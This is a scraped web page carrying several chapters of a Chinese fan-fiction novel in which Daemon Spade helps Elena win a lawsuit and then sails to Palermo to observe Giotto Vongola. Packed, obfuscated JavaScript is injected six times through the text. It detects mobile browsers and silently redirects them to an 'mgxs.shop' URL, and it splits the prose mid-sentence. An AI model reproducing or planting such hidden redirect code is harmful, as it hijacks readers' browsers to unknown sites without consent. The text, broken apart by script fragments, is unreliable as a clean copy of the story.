;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218872|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸一半沉浸在阴影中，一半被偶尔掠过的街灯照亮，神色晦暗难辨。 艾琳娜沉默了许久才缓缓开口：“……像是在看一场精心编排的戏剧。” “嗯？” “每个人都是提线木偶。”她转过头，“而你就是那个躲在幕后的操偶师。你拉扯那些看不见的线，他们就会按照你的剧本行动，被贪婪、猜疑、恐惧驱使，连他们自己都认为那些念头全是出自自己的意愿。” 戴蒙没有否认，也没有辩解，只是缓缓靠在座椅上，闭上眼睛，语气中带着一丝不易察觉的疲惫：“后悔了吗？现在你看到了，光鲜亮丽的理想背后，原来是这么冰冷，这么肮脏的东西，一切都是由谎言和阴谋堆砌而成的。” 马车颠簸了一下，艾琳娜扶住窗框。她的手指触碰到冰冷的玻璃，寒意一直从指尖传到心底。 “不。”她说。 戴蒙睁开了眼。 “我反而更坚定了。”艾琳娜的声音轻柔但坚定，“我现在终于明白，为什么以前我拼尽全力，却总是一败涂地。” 她微微侧身，面向戴蒙，在昏暗的车厢里，那双碧蓝色的眼睛异常明亮。 “我以前天真地以为，只要道理站得住脚，只要心怀善意，世界就会为我让路。可是我现在懂了，这个世界根本不是那样运作的，它的运行法则，是你刚才用的那些：精准的信息，缜密的谋算，还有对人性弱点的把握。” 她停顿了片刻，继续说：“你刚才所做的一切，对科斯塔来说确实冷酷，但你也确实没有彻底毁掉他的性命，而是像园丁修剪一棵长疯了的树，斩断那些会伤害到周边植物的枝桠，让它不要毁掉整片森林。” “所以？”戴蒙问，语气里听不出情绪。 “所以，”艾琳娜一字一句地说，“我明白了，权力从来不是只有全盘退让或者碾碎一切这两种用法，它还可以用来‘修剪’。手段或许冷酷现实，但也许，这就是在这片复杂的森林里生存下去的代价。如果我想保护我的学生和那些脆弱的理想，就必须学会怎么修剪那些疯长的枝桠，而不是天真地期待阳光和雨水会自动解决所有问题。” 马车里陷入了长久的沉默，只有车轮声和远处不知谁家的犬吠。 戴蒙看着她，看了很久。然后，很轻很轻地，他笑了，带着一种复杂的，近似于尊敬的情绪。 “欢迎来到真实的世界，艾琳娜。”他的语气里带着一丝释然，也带着对这个世界的无奈，“虽然它既冰冷，又糟糕。” 22. 第 22 章 几天后，都灵地方法院的第三民事法庭座无虚席。旁听席上有双方的亲友，有关注此事的工人代表和记者，甚至还有几位前来旁观的贵族。 艾琳娜坐在原告席上，身着简洁的深蓝色裙装，头发一丝不苟地挽起。她没有戴首饰，只在胸前别着那枚被熏黑的纪念徽章。连日的高压让她脸色略显苍白，但脊背挺得笔直，目光澄澈坚定。 被告席上的科斯塔男爵则坐立不安。他不断地调整领结，指尖无意识地敲打着桌面，眼神频频瞟向旁听席。那里坐着他的场外律师、生意伙伴，还有戴蒙·斯佩多。 戴蒙坐在最后一排的角落，身着黑色的礼服，姿态慵懒，脸上挂着惯有的微笑，像个无关紧要的旁观者。 但科斯塔每次看向他时，眼底都会闪过一丝恐惧。他心里清楚，自己最近的麻烦背后，都有这个年轻人的影子。 庭审开始。 贝蒂尼法官果然如戴蒙所说，厌恶煽情，偏好简洁的逻辑。艾琳娜的陈述冷静而克制，没有提高音量，也没有挥舞文件。只是有条不紊地逐一展示证据，语气平静却极具说服力。 有被火烧毁的课本残骸，那本狄德罗的《百科全书》的焦黑扉页上那句话仍然可以辨认：“知识是照亮人类道路的火炬。” 有彼得罗老师的诊断书，医生潦草的字迹写着“颅骨骨折，颅内出血，预后不良”。 最后，她展开一叠纸。二十多个签名，歪歪扭扭，有的甚至把字母写反了。一个叫马可的男孩，在名字旁多写了一句：“彼得罗老师说，每个字都是一盏灯。他们想吹灭它，但我们不想。” 科斯塔的律师试图反驳：称夜校属于违规建筑，消防设施不全，彼得罗受伤是因为他个人的鲁莽，学生的证词受到了引导，不可采信。 但每一条反驳，都被艾琳娜用事实化解。 当律师再一次攻击学生证词时，艾琳娜沉默了片刻，终于开口：“阁下质疑这些孩子的话，因为他们名字都写不好，因为他们的父亲是铁匠，母亲是洗衣妇。” 她顿了顿，从文件夹中抽出一页纸，轻轻推到前面。 “可您却毫不犹豫地采信这份由科斯塔男爵亲笔签署的安全承诺书，尽管它从未兑现过一天。” 她抬眼，目光直视着律师：“所以，在您的眼中，一句承诺的份量，只看是谁签的名，而不是它是否真实，是否关乎生死？” 律师张了张嘴，却没有发出声音。他的手指在桌下蜷了一下，又松开。 艾琳娜没有给他喘息的机会。她又拿出一沓记录，这是科斯塔工厂过去五年的消防检查报告，每一页上都用红色的印章盖着“不合格”，每一项整改要求旁，都写着“未落实”。 “看来，”她说，声音不高，却让整个法庭都安静下来，“男爵阁下对‘安全’的理解，只取决于它会不会影响账本上的数字，而不是车间里那些活生生的人。” 旁听席上一阵低语。科斯塔的脸色由红转白，又由白转青。 休庭期间，科斯塔在走廊接到工厂管事的急报。 艾琳娜远远看着，那个原本挺着肚子的男人，在听到消息的瞬间肩膀垮了下去。他烦躁地挥退管事，呆呆站了几秒，然后猛地转头，死死盯着从法庭走出来的戴蒙，眼里满是绝望。 两人的目光相遇。 科斯塔的嘴唇颤抖着，似乎想说什么，但最终也没有出声。戴蒙只是淡淡颔首，那动作看似礼貌，实则冰冷。 最终宣判时，贝蒂尼法官的判决几乎全部支持了艾琳娜。科斯塔需要赔偿全部损失，并且在《都灵信使报》上刊登公开道歉声明，持续一周。 科斯塔没有上诉，他当庭签了和解协议，签字的手颤抖着，字迹歪斜。 庭审结束，人群开始散去。 艾琳娜站在原地，看着科斯塔在律师的搀扶下蹒跚走出法庭。那个曾经叱诧风云的工厂主，此刻脊背佝偻，仿佛一下子老了二十岁。 她赢了。 阳光从法庭高大的窗户斜射进来，照亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218873|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气中飞舞的尘埃。 戴蒙走到她身边，安静地站着，陪她看向走廊尽头。他周身的压迫感早已散去，多了几分难得的平静。 “感觉如何？”他问，和那天在马车里一样的问题。 艾琳娜沉默了许久，没有立刻回答。她低头看着手里的判决书，纸张轻薄，拿在手里却重如千斤。 “很冷。”她最终轻声说，声音里带着疲惫，“明明赢了，但我一点都感觉不到胜利的快乐，只觉得空落落的，很累。” 戴蒙侧过头看她，阳光下，她眼角的细纹，紧抿的嘴唇，微微颤抖的指尖都清晰可见。 他没有说“这就是代价”之类的话，只是低声说：“有些战斗，打完以后身上不会流血，但心里却会被掏空一块，需要用别的东西慢慢填满。” 艾琳娜抬眼望向窗外。 都灵的冬天还没走，天是铁灰色的，沉沉地压着屋顶。可就在远处，云层裂开一道窄缝，一束光斜斜地劈下来，正好落在法院门前的台阶上。 那里，几个曙光之家的学生在等她。马可，那个手臂受伤的男孩，捧着一小束冬青，叶子用旧报纸仔细地裹着，深绿油亮，几颗红色的果子缀在枝头，在满目的灰白里红得刺眼。 “至少，”艾琳娜深吸一口气，语气里渐渐找回了坚定，她像是说给戴蒙听，又像是在给自己打气，“火种还在。” 她整理了一下裙摆，再次挺直脊背，眼底的疲惫被温柔取代，迈步朝着等待她的孩子们走去。 戴蒙留在原地，看着她远去的背影。 阳光洒在她深蓝色的裙子上，像是镶上了一道柔和的金边。那背影依然纤细，却再也没有了脆弱，像一株在冻土中深深扎下根的树，历经寒风洗礼，终于学会了如何在残酷的冬天里坚韧地生长。 戴蒙收回目光，嘴角勾起一抹淡淡的笑意，然后转身，朝着与艾琳娜相反的另一个出口走去。 走廊很长，脚步声在空旷的大理石地面上回响，孤独而清晰。 23. 第 23 章 事件结束的一周后，都灵迎来了一个罕见的晴朗冬日。 阳光穿透温室玻璃，在绿植叶片上跳跃，空气里混着土腥气、腐叶的微酸，还有一丝玫瑰的甜香。 戴蒙站在玫瑰架最里头，背对着门。他戴着手套，手里拿着一把银柄花艺剪刀，开合间发出咔擦的清脆响声。 他面前的是一些深红色的普罗旺斯玫瑰，花瓣边缘已卷起焦褐，叶上出现了零星几点黑斑。病枝随着他的动作一截截落下，露出底下健康的白茬。 艾琳娜在门口站住了。 “我收到了科斯塔的赔偿金。”她开口道，“比判决多了三成。他的律师说这是男爵额外的歉意。” 戴蒙的剪刀在半空中停顿了半秒，随即落下，另一根病枝轻轻坠入筐中。 “足够重建两座夜校，还能再增加一个医疗室。”艾琳娜走近，停在玫瑰架的另一侧，透过交错的枝条，她能看见戴蒙的侧脸，“彼得罗先生昨天醒了。医生说会有后遗症，但不影响思考和说话。他醒来的第一句话是问图书馆的书抢救出来多少。” “好消息。”戴蒙头也没回，声音平淡。 艾琳娜的手指无意识地拂过一片玫瑰叶子，叶片的触感像天鹅绒，但边缘已经发黄卷曲。 “但我睡不着。” 剪刀终于停住。 戴蒙转过身，阳光从侧面照过来，在他的脸上投下清晰的阴影线，让他的表情难以辨认。 “每天晚上闭上眼睛，”她继续说，声音低得像呢喃，“我就看见科斯塔离开法庭时的背影，看见他签字时颤抖的手。然后我会想……我们真的对了吗？” 她抬起头，看向戴蒙：“我们用他伤害别人的方式伤害了他，让他失去了半生经营的一切。这和他在工厂里压榨工人，让他们失去健康、尊严甚至生命，在本质上真的有区别吗？” 温室里安静得能听见远处暖气管微弱的嘶嘶声。 戴蒙放下剪刀，摘下右手的手套。他的手指修长，骨节分明，掌心有几道浅白色的伤疤。大部分是武器磨出来的，还有一道是小时候爬树摔的。艾琳娜记得那道疤，因为他们一起爬的那棵树。 “你希望我怎么回答？”戴蒙平静地说，“说这是必要的恶？说为了更大的善，小的恶是可以被容忍的？还是说，科斯塔罪有应得，我们只是执行了正义？” 他轻轻摇头，嘴角勾起一个极淡的弧度：“你我都知道，那些都是自我安慰，是用来哄骗良心入睡的摇篮曲。” 戴蒙走近一步，隔着玫瑰架看着她。阳光此刻完全照在他脸上，艾琳娜看清了他的眼睛，青蓝色的，像冬天的海。 “艾琳娜，世界不是非黑即白的国际象棋，”他说，“大部分时候，我们甚至不是在黑白之间做选择，我们是在深浅不同的灰色里选择一种，然后说服自己，这比另一种灰色不那么坏。” 他抬起手，在指尖即将触碰到一朵半开的花时停住了：“我选择了科斯塔这个方案，不是因为它对，而是因为在所有可能的灰色里，这一种能让你继续点燃火种，同时又不至于让火烧到你自己的头发，仅此而已。” 他放下手，重新戴好手套：“如果你要问这是否正义……我不知道。我只知道，这是我能想到的，让你和你的夜校活下来的方式。” 艾琳娜看着他。 阳光下的戴蒙，穿着精致的外套站在满室花草中，这本该是幅赏心悦目的贵族消遣图，可他的话语与神情，却像是战场废墟上的指挥官，冷静地计算着每一场牺牲。 她突然想起很多年前，他们还是孩子时，戴蒙曾为了救一只掉进池塘的野猫弄脏了崭新的礼服，还被他父亲罚抄礼仪守则一百遍。那时的他会说“它也是一条生命”，眼睛亮得像夏日的晴空。 是什么时候开始，那双眼睛学会了计算牺牲？ “我明白了。”艾琳娜最终说，声音有些沙哑，“谢谢你的诚实。” 戴蒙点点头，重新拿起剪刀，转身继续修剪玫瑰。但他的动作慢了一些，每一次落剪之前，都会多看枝条两秒。 三天后，他们再次坐在马车里，这次是去参加一个慈善晚宴，艾琳娜母亲主办的，目的是为孤儿院募捐。 暮色渐沉，街边煤气灯一盏接一盏亮起，昏黄的光晕在湿冷的空气中漂浮着。 “那天，”艾琳娜突然开口，望着窗外，“我说权力可以用来修剪疯长的枝桠，保护森林里其他的植物。” 戴蒙“嗯”了一声，表示他在听。 她转过头，目光落在他侧脸上：“可我没说完的是……拿剪子的人，得先知道自己想要的是什么，否则，他只会把所有的树都剪成自己偏执的形状，看起来整齐划一，却失去了森林该有的多样性和生命力。” 马车碾过一块松动的石板，车厢微微颠簸。 “那么，”戴蒙缓缓开口，“艾琳娜，你心中那片森林是什么样子的？一个‘优秀人才居中的正义世界’？” 他顿了顿，声音里带上了一丝真正的困惑：“可什么是优秀的人才？是那些经过精心教育后，变得听话、感恩、永远不会质疑的人吗？还是那些学会规则之后，不求改变，只求分一杯羹的聪明人？” 艾琳娜没有立刻回答。 她想起彼得罗老师，他十二岁下矿，指缝里永远有洗不干净的煤渣，却仍然坚持自学，现在还能教导其他工人；想起马可，手臂缝了七针，却依然惦记着自己的书本。 “不，不是那些温室里摆出来的盆景。”她终于低声说，“是那些……即使生长在野地里，也依然挣扎着要发芽的种子。” 她看向戴蒙：“他们不需要谁教导怎么生长，只需要别被过早的踩死。一点阳光、一点雨露、一点时间，他们自己就知道该往哪里长。” 戴蒙沉默了很久。 马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218874|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经驶入了贵族区，街道宽敞平整，路灯明亮，照着雕花铁门和修剪整齐的花园。 他忽然想起乔托·彭格列。 那个在西西里的贫民窟葬礼上被孩子质问的少年。那个在交换身体期间悄悄修改命令，救下几十条性命的少年。那个在回到自己身体后，组织伙伴对抗不公，还搞出什么“自卫团”的少年。 一颗在石头缝里发芽的种子。 “我明白了。”戴蒙轻声说，“你要的不是被塑造出来的人，而是自然选择中战胜诸多苦难，还没被压死的人。” 艾琳娜的眼眶忽然发热，她迅速眨了眨眼，把那点湿意逼了回去。 “而你……”她的声音轻得几乎听不见，“戴蒙，你是那个可以确保那只脚不会踩下来的人，哪怕用的手段……是我永远无法亲手触碰的。” 这话说得很艰难，她每个字都咬得很重，像是在说服自己接受一个苦涩的真相。 戴蒙转过头看向窗外。一辆华丽的四轮马车与他们交错而过，车窗内是一位带着羽毛帽子的贵妇，正笑着对同伴说什么。几英里外，工厂烟囱正喷着黑烟，遮住了星星。 “那我们算是达成共识了？”他忽然问，语气轻松，像卸下一个重担，“你负责在阳光下培育火种，开夜校、开医疗站、争取法律改革。我负责在暗处清理那些想要打坏主意的家伙。” 他顿了顿：“目标一致，让更多人活到能自己选择怎么做的那一天，哪怕他们最后选的路，可能我们谁也想不到。” 艾琳娜喉头一紧，她盯着自己手套上的一段蕾丝，很久才问：“哪怕这意味着……你永远不会站在光里？永远要以‘斯佩多家的冷酷伯爵’、‘王国最锋利的剑’的面目示人？那些被你保护的人，可能永远不知道你的存在，甚至可能憎恨你所代表的一切？” 戴蒙笑了。一个真正属于戴蒙·斯佩多的笑容，嘴角微微上扬，眼里却没有什么光。 “我本来就更习惯黑暗。”他说，“阳光太刺眼了，艾琳娜。而且……站在光里的人，总会有影子投下来，我宁愿站在影子里，至少能看见自己在做什么。” 马车缓缓停下，富丽堂皇的宴会厅灯火通明，小提琴声从敞开的门廊飘出来。 戴蒙先下车，转身向艾琳娜伸出手，姿态标准得无可挑剔。 艾琳娜看着那只手。黑色的手套下面，指节分明，稳如磐石。 她把手放了上去。 他的掌心干燥，温度恰到好处，既不冷也不热，一如他本人，永远精准地掌握着所有分寸。 “谢谢你，戴蒙。”她借力站好，低声说。 “谢什么？” “谢你……没有骗我。”她抬头，望向那片喧闹的灯火，“哪怕真相令人难以接受。” 戴蒙没有回答。 他只是微微颔首，然后与她并肩走上台阶，走向那场不属于他的盛宴。 24. 第 24 章 戴蒙罕见地主动来到艾琳娜的书房，脚步比往日慢一些。他手里拿着一份薄薄的文件，纸张边缘有反复翻阅的痕迹。 艾琳娜正在写信，听见声音后抬起头，看见戴蒙脸上不同以往的表情，笔尖一顿，停了下来。 “有事？” 戴蒙将文件放在书桌上：“一份从西西里来的报告。巴勒莫那边有点有趣的发展。” 艾琳娜放下笔，坐直身体：“巴勒莫？加里波第的支持者又开始活跃了？” “不，和政治无关。”戴蒙走到窗边，背对着她，“是一个贫民窟的小子，叫乔托·彭格列，带着一帮孤儿，在贫民窟搞了个自卫团，平时做些赶走骚扰女人的醉汉，拦住勒索小贩的地痞之类的小事。” 他转过身，海青色的眼睛里藏着一种艾琳娜从未见过的兴致。 “半个月前他们和当地一个小地主发生了冲突。一个叫马尔科的恶少想强行带走一个卖花女，自卫团阻止了他，双方打了一架。恶少吃了亏，他父亲动用关系让宪兵队去抓人。” 艾琳娜不由自主地向前倾了倾：“然后呢？” “然后，”戴蒙的嘴角微微上扬，“那个乔托·彭格列不知怎么说服了宪兵队长，把案子压成少年斗殴，每人罚几个铜板就放了，那个马尔科反而被连夜送来了皮埃蒙特的寄宿学校，说是来避避风头，其实是怕事情闹大。” 书房里安静下来，壁炉里的柴火噼啪作响。 艾琳娜敏锐地看着戴蒙：“你从不对这种事上心。” “这个不一样。”戴蒙走回书桌前，手指无意识地摩挲着文件的磨损处，“他让我想起你说过的，那些在没人管的地方，自己硬要活下来的东西。” 他抬起眼，目光仿佛穿透了墙壁，望向遥远的南方：“我想去看看。” “去西西里？”艾琳娜的声音很平静，“以什么身份？斯佩多伯爵去视察家族产业？还是幻术师戴蒙去执行秘密任务？” “都不是，只是一个单纯的观察者。”戴蒙说，“我想亲眼看看，在没有夜校，没有慈善基金，没有任何帮助的地方，仅凭一群赤手空拳的少年能做到什么程度。如果他在那种地方都能让世界变好一点……” 他没有说完，但艾琳娜听懂了。 “你想知道，是不是真的还有别的可能。”她轻声说，“不是我们修修补补的改良，也不是血流成河的革命，而是……从地底下自己长出来的希望。” 戴蒙没否认，他低头看着手里的文件，像是在确认它的重量。 “如果那是真的……”他说，“也许我们做的事，还不算全然徒劳。” 书房里安静了许久。 艾琳娜起身，绕过书桌走到戴蒙面前。她微微仰头，凝视着他的眼睛。那双总是藏着秘密的海青色眼眸，此刻异常清澈，褪去了平日的冷硬。 她伸出手，轻轻按在他的手背上。隔着皮革手套，能感觉到他手指的骨节。 “那就去吧，”她说，“去看看那片不一样的土地，和那些不一样的人。” 她顿了顿，声音更轻：“但如果他真的是在野地里长出来的种子……别因为他的生长方向不符合你的想象，就把他砍掉。” 她直视他的眼睛：“别因为他不按任何人的计划走，就觉得他长歪了。让他长，戴蒙，看看无人照料的野草到底能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218875|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长到多高。” 戴蒙凝视着她。 阳光从窗户斜射进来，在两人之间浮起细小的尘粒，金灿灿的。 他想起那次奇异的互换，那场印象深刻的葬礼，和文件中描述的那个受人信赖的少年首领。 然后，他缓缓点了点头。 “我答应你，”他说，“只要他不想放火烧了整片森林，不威胁王国的秩序……我就只是看着，绝不动手。” 艾琳娜松开了手。 “什么时候走？” “下周，正好有艘船要去巴勒莫。”他转身走向门口，又在门槛处停住，“夜校那边……需要我安排人照应吗？” “不用。”她的声音平静，“这次我自己来。你教过我该怎么做了，记得吗？” 戴蒙的肩膀放松了一些，他推开门，走进走廊的阴影中，脚步声渐行渐远。 艾琳娜站在原地，看着空荡荡的门口。良久，她转身回到书桌前，拿起未写完的信，却久久没有落笔。 窗外，天色沉得很快。都灵的冬夜总是这样，早早到来，又很晚才离开。 她忽然想起，此刻的西西里应该还亮着，夕阳斜照在瓦片上，给冰冷的砖石带来一点点温暖。也许那个叫乔托的少年，此刻正和同伴挤在屋檐下，低声讨论着下一步该做些什么。 他们不会知道，千里之外的都灵，有人正为他们的存在心生期许。 艾琳娜走到窗前，呵了一口气。玻璃上凝起一小片白雾，转眼又散了。 她没再想种子或者森林，只是单纯地希望他们别在长大之前，就被这世界碾碎。 其余的……时间会带来答案。 25. 第 25 章 第勒尼安海的五月，海水是深沉的靛青色。 戴蒙·斯佩多站在海神号客轮的甲板上，望着船头劈开的白色浪花向两侧散开，又在船尾融进深不见底的海里。 “少爷，风大了。”马尔切洛的声音从身后传来，手里拿着一件深蓝色的斗篷。 戴蒙没有回头，只是抬起一只手。 马尔切洛熟练地为他披上斗篷，银质的家徽扣环在暮色里泛着微光。 “还有多久？”戴蒙问。 马尔切洛的声音平稳：“风向不变的话，明天傍晚就能看见巴勒莫的灯光了。” 巴勒莫，西西里的心脏。也是乔托·彭格列如今扎根的地方。 戴蒙的指尖无意识地抚摸着左手小指上一枚暗银色指环。 临行前，他从家族宝库深处翻出了这枚地狱指环——美杜莎之发。戒身缠绕着九条细得几乎看不清的触须纹路。记载里说，一旦激活指环，这些纹路就会苏醒，像美杜莎蠕动的蛇发。 它能遮住佩戴者的气息，甚至能在虚空中造出实体幻觉。只是在记载的末尾用红色的墨水写着警示：这是禁忌的黑魔法，死亡与毁灭常伴左右。 “我带上死亡，去观察生命。”戴蒙登船前曾自嘲地想。 此刻站在渐暗的海天之间，他心里忽然觉得，那片即将踏上的土地，本身就被裹挟在死亡的阴影里，却又藏着生命的顽强。 船身一阵轻晃，夜幕已经完全降临。 上层甲板传来船员的吆喝：“先生们，晚餐准备好了！” 餐厅里人不多，几张桌子散坐着商人、小官吏，还有几个满脸风霜的水手。戴蒙一进门，谈话的声音都低了一瞬。十七岁的年纪，却有着一种让成年人都感到压迫的气场，那双青色的眼睛扫过人群时，甚至没人敢和他对视。 他在窗边坐下。 “听说了吗？巴勒莫又不太平了。”邻桌一个胖商人做作地压低声音，又故意让半个餐厅都能听见，“年初披萨卡内闹的那场，死了不少人。” “披萨卡内已经死了。”同桌的瘦削男人嗤笑，“尸体都挂在城墙上了。” “人死了，念头没死。”第三个声音加入，是个满脸风霜的老水手，“我跑巴勒莫航线二十年了，从没见过这么不安的时候。波旁的税官像吸血鬼，那不勒斯的卡莫拉想把手伸过来，本地那些体面人也在招兵买马。” “说到卡莫拉，还有更邪门的事，”胖商人一脸神秘地说，“我听说圣洛伦佐有帮小子，把卡莫拉的人给收拾了！” “彭格列自卫团。”老水手啐了一口，“领头的是个十五六岁的金发小鬼。卡莫拉的人被他们赶跑了三次。第一次他们在巷子里用渔网罩住对手撒了石灰，直接弄瞎了俩；第二次，卡莫拉的账本儿直接出现在了治安官的桌子上。” 一阵低低的惊呼。 “第三次最绝，”老水手灌了口酒，也说到了兴头上，“他们绑架了对方老大的独子，一个七岁的小男孩。关了一夜，好吃好喝的，第二天那小孩儿突然自个儿出现在卡莫拉驻地的门口，连个油皮儿都没蹭破！” 瘦削的男人皱起眉头：“这是示威？” “是划清界限。”角落里一个戴着眼睛的年轻人插话，“他们是在说：我们能伤你至亲，但选择不这样做。这可比直接挥刀砍人更让人睡不着觉。” 胖商人嗤笑：“一群泥腿子小屁孩，能有这心思？别逗了。” 年轻人没有争辩，只是低头吃着自己盘子里的晚餐。 戴蒙慢条斯理地切着盘中的鲈鱼，刀叉碰在盘子上，发出轻微的声响。 他曾经想要杀掉那个能与他互换身体的少年。但在近半年的观察里，这种杀意越来越淡，取而代之的是一种陌生的好奇。 他想起艾琳娜的话：“野地里的种子，能不能顶开石头？” 现在，他快要见到那颗种子了。 晚餐后，戴蒙再次走上甲板。夜晚的海风带着咸味和凉意，天空中没有云，南十字星清晰可见。 马尔切洛无声地出现在他侧后方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218876|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都查清楚了？”戴蒙没有回头。 “是，彭格列那群人，一个月内三次打退了卡莫拉的人，巷战、石灰粉，手段很粗糙，但是每次都能奏效。” 戴蒙低笑一声，笑声被海风卷走，几乎听不见：“武力恫吓，展示罪证，最后显露底牌，这手段可一点都不粗糙。” 他顿了顿：“比那些没脑子的暴力狂可难对付多了。” 马尔切洛问：“要处理吗？” 戴蒙这才转身，背靠在栏杆上。船舷的灯从身后照过来，让他的脸隐藏在阴影里，只有眼睛在微光中泛着青色的冷意。 “不，现在我反而认为他没有威胁了。”他说，“但是我在想……这些手段到底是他学来的，还是……天生就知道该怎么在刀尖上走路。” 马尔切洛沉默了一瞬，然后才说：“从您带上那枚指环开始，我以为您已经不满足于只是看着了。” 戴蒙的手指拂过那枚暗色的指环。戒身冰凉，可贴久了，竟有种错觉，仿佛它在随着他的脉搏微微跳动。 “艾琳娜总说改变要温和、有序。”他望向漆黑的海面，“我觉得那太天真了。但现在……如果从底层涌上来的，不是烧杀抢掠，而是知道什么时候该收手，什么时候该亮剑的反抗，那会怎样？” “有克制的反抗仍然是反抗，依然会引发镇压。”马尔切洛的声音近乎冷酷，“波旁王朝不在乎他们是义士还是暴徒，只要不跪的，就是叛贼。” “我知道，”戴蒙重新面向大海，“所以我得亲眼看看，他到底是在石缝里扎根的野草，还是风一吹就散的灰尘。” 他直起身，语气恢复了惯常的冷静：“到巴勒莫之后，先安排橄榄园的视察，做足场面，然后……我要去圣洛伦佐。” “那里不适合您。”马尔切洛张了张嘴，用了最委婉的说法。 “所以得足够隐蔽。”戴蒙嘴角微扬，那笑意没到眼底，“我对艾琳娜说‘欢迎来到真实世界’。现在，轮到我去看看那片真实的土壤里，到底埋着什么东西了。” 26. 第 26 章 渔港迷宫般的巷子里，光线被高耸得几乎贴在一起的房屋切割成窄窄一条，只有在正午时分，才能勉强照亮坑洼路面上的污水与垃圾。 乔托蹲在码头仓库的阴影里，看着两个男人像发怒的公牛一样对峙着。 “那批货是我的！”络腮胡的工头挥舞着生锈的鱼叉，“我的人卸的货，钱就该我分！” “放屁！”独眼男人啐了一口，手里的撬棍重重敲在木箱上，“船是我联系的，路子是我疏通的，你他妈就是个出苦力的！” 周围站着二十几个码头工人，分成两拨，空气里弥漫着紧张的氛围。 乔托深吸一口气，站起身。 他穿着简单的粗布衣服，膝盖处打着补丁，但洗得干净。金色的头发微微炸开，被海风拂动，露出那双太过清澈的琥珀色眼睛。那双眼睛里没有工人的麻木，也没有工头的戾气，只有一种超越年龄的沉静。 十五岁的年纪，在这些常年与海浪和货物搏斗的男人中间本不该有任何份量。 但当他走进两拨人中间时，争执声奇迹般地低了下去。 “阿马托大叔，罗西大哥。”乔托的声音不算高，“工会的规矩，货款得按大家出力的比例分配，这都是白纸黑字写着的。” “那字据被狗吃了！”阿马托吼道，“这独眼龙想独吞！” 罗西的独眼里闪过凶光：“小子，这里轮不到你说话。你那个什么自卫团，管好街上的破事儿就行。” “码头的工钱拖了三个月，”乔托没有退缩，“渔行的老板在等你们内斗，斗得越狠，他越不用付钱。北边来的商人已经找好了新的搬运队，价格是你们的一半。” 人群中响起窃窃私语。 “你吓唬谁？”罗西冷笑，但握着撬棍的手紧了紧。他知道乔托从不说空话。 “我说的是事实。”乔托从怀里掏出一张皱巴巴的纸，“这是渔行老板和那不勒斯商人签订的意向书副本。他们打算换掉整个码头工会，用监狱里放出来的苦役犯替代，那些人只要给口饭就行，压根不要工钱。” 纸条在人群中传阅，咒骂声四起。 阿马托睁大眼睛：“你是怎么拿到的？” “我们有我们的办法。”乔托说，“现在的问题是，你们是继续在这里抢一块快被夺走的面包，还是联手保住吃饭的地盘？” 罗西和阿马托对视一眼，敌意仍在，但多了几分警觉。 “联手？”罗西嗤笑，“然后听你一个小毛孩指挥？” “不。”乔托摇头，“听工会老人的规矩。我只提供一个方案，这批货的利润，四成按人头分给卸货的兄弟，四成留给联系船和路子的罗西大哥，剩下两成交给工会做应急资金。” 他顿了顿，补充道：“当然，账目公开，每笔钱怎么用，所有工会成员投票决定。” 短暂的沉默。 一个老工人嘟囔：“听起来像那么回事儿。” “但他凭什么——” 罗西还想说什么，阿马托突然向前一步。 “我同意。”络腮胡工头把鱼叉往地上一戳，“但这小子得保证，渔行老板换人的事，他能解决。” 所有目光集中在乔托身上。 